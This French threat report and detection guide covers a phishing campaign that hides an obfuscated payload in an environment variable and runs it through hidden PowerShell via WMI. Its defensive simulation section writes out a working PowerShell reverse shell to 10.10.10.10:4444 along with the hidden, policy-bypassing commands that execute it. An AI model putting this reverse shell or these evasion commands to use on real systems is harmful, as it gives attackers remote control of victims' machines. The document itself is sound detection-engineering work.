Le retour du fond MSI malveillant
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un email de phishing contenant un lien WeTransfer livre un fichier JavaScript qui stocke une charge utile obfusquée dans une variable d’environnement. Cette charge utile est ensuite décodée et exécutée via PowerShell lancé via WMI, qui télécharge une image de fond JPEG de style MSI malveillant et un DLL .NET des Workers Cloudflare et du stockage R2. Le DLL est une version modifiée de Microsoft.Win32.TaskScheduler utilisé pour charger des charges utiles supplémentaires et éventuellement créer une persistance via des tâches planifiées. La campagne souligne comment les acteurs de la menace continuent d’abuser des services cloud légitimes pour héberger et distribuer des composants malveillants.
Investigation
L’analyste a identifié un fichier JavaScript initial nommé Remittance Advice.js contenant du code obfusqué par ROT13 qui crée la variable d’environnement INTERNAL_DB_CACHE . PowerShell est alors lancé dans une fenêtre cachée via WMI et exécute le bloc de script décodé. Ce script récupère un fichier JPEG à partir d’un sous-domaine workers.dev et un fichier PNG à partir d’un bucket public r2.dev , tous deux probablement utilisés pour transporter des charges utiles supplémentaires par des méthodes stéganographiques. Le composant de la dernière étape est un DLL .NET dérivé de la bibliothèque open-source TaskScheduler.
Atténuation
Les organisations devraient bloquer l’accès aux domaines malveillants connus tels que we.tl, workers.dev, et r2.dev au niveau du pare-feu ou du proxy. L’exécution de PowerShell et la création de processus basés sur WMI devraient être restreintes pour les utilisateurs non fiables chaque fois que possible. Les défenseurs devraient également surveiller l’exécution cachée de PowerShell, l’abus de la méthode Win32_Process.Create , et des variables d’environnement inhabituelles telles que INTERNAL_DB_CACHE. Les fichiers téléchargés depuis des stockages cloud publics devraient être soumis à une validation et une inspection strictes.
Réponse
Les équipes de sécurité devraient alerter lorsque PowerShell est démarré avec une fenêtre cachée via WMI et lorsque la variable INTERNAL_DB_CACHE est créée ou modifiée. Tout processus se connectant aux URL identifiées ou téléchargeant du contenu depuis workers.dev or r2.dev devrait être immédiatement investigué. L’analyse judiciaire devrait se concentrer sur la localisation du DLL .NET malveillant et l’identification des tâches planifiées nouvellement créées qui dépendent de la bibliothèque TaskScheduler. Les hôtes affectés devraient être assainis rapidement, et le contenu de détection doit être mis à jour avec les indicateurs observés.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[« <b>Action</b> – <b>T1566.002 Hameçonnage : lien de spearphishing</b><br/><b>Description</b> : Envoie un e-mail contenant un lien WeTransfer malveillant aux victimes »] class action_phishing action tool_js[« <b>Outil</b> – <b>Charge utile JavaScript</b><br/><b>Techniques</b> : T1027.008 Fichiers ou informations obfusqués, T1132 Encodage des données<br/><b>Description</b> : S’exécute et définit une variable d’environnement contenant une charge utile ROT13/Base64 modifiée »] class tool_js tool process_wmi_ps[« <b>Processus</b> – <b>PowerShell via WMI</b><br/><b>Techniques</b> : T1216 Exécution par proxy de binaire signé, T1036.009 Déguisement, T1564.010 Masquage d’artefacts<br/><b>Description</b> : Lance un processus PowerShell caché via WMI »] class process_wmi_ps process malware_taskdll[« <b>Malware</b> – <b>DLL .NET TaskScheduler</b><br/><b>Technique</b> : T1127.003 Exécution par proxy via des utilitaires de développement approuvés<br/><b>Description</b> : Charge la charge utile décodée sous forme de DLL .NET et l’enregistre dans le Planificateur de tâches »] class malware_taskdll malware tool_downloader[« <b>Outil</b> – <b>Téléchargeur</b><br/><b>Techniques</b> : T1578 Acquisition d’infrastructure, T1538 Données depuis un stockage cloud, T1537 Transfert de données vers un compte cloud<br/><b>Description</b> : Récupère des fichiers supplémentaires depuis Cloudflare Workers et le stockage R2 »] class tool_downloader tool file_png[« <b>Fichier</b> – <b>PNG stéganographique</b><br/><b>Description</b> : Image PNG contenant des données cachées qui seront traitées ultérieurement »] class file_png file %% Connections showing attack flow action_phishing –>|fournit| tool_js tool_js –>|exécute_et_définit| process_wmi_ps process_wmi_ps –>|lance| malware_taskdll malware_taskdll –>|charge| tool_downloader tool_downloader –>|récupère| file_png
Flux de attaque
Détections
Possibilité d’Exécution par Lignes de Commande PowerShell Cachées (via cmdline)
Voir
LOLBAS WScript / CScript (via process_creation)
Voir
Possible Abus de Domaine de Développement Cloudflare (via dns)
Voir
Exécution de Charges Utiles Encodées via Variables d’Environnement PowerShell [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : La Vérification Initiale de Télémétrie & Baseline doit être réussie.
Raison : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif d’Attaque & Commandes :
L’attaquant injecte d’abord une charge utile PowerShell encodée en base64 dans une variable d’environnement de niveau processus nomméeINTERNAL_DB_CACHE. Cette charge utile, lorsqu’elle est décodée, lance un reverse shell. L’attaquant invoque ensuite un second processus PowerShell qui lit la variable et l’exécute viaScriptBlock::Create, gardant ainsi la commande malveillante hors de la ligne de commande immédiate. Cette approche de « vivre de la terre » évite la détection par signature statique et exploite le modèle en deux étapes que la règle est conçue pour capter.-
Étape 1 – Encoder la charge utile et la stocker dans la variable d’environnement
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
Étape 2 – Exécuter la charge utile encodée de la variable d’environnement
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
Script de Test de Régression : Le script ci-dessous automatise les deux étapes, capture les horodatages pour la corrélation et insère une courte pause pour laisser le premier processus se terminer avant de commencer le second.
# ---------------------------------------------- # Simulation PowerShell de charge utile encodée dans la variable d'environnement # ---------------------------------------------- # Étape 1 – Encoder une charge utile de shell inversée inoffensive (remplacer par votre adresse C2) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # Petite charge utile bénigne pour des tests sûrs $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] Variable d'environnement INTERNAL_DB_CACHE définie." # Courte pause pour assurer l'enregistrement de la première commande Start-Sleep -Seconds 2 # Étape 2 – Exécuter la charge utile depuis la variable powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] Exécution de la charge utile déclenchée." -
Commandes de Nettoyage : Supprimer la variable d’environnement temporaire et terminer tous les processus errants créés pendant le test.
# Supprimer la variable d'environnement de test [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] NETTOYAGE – INTERNAL_DB_CACHE supprimé." # S'assurer qu'aucun instance powershell.exe n'est restée orpheline (hors de la session actuelle) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] NETTOYAGE – processus PowerShell orphelins terminés."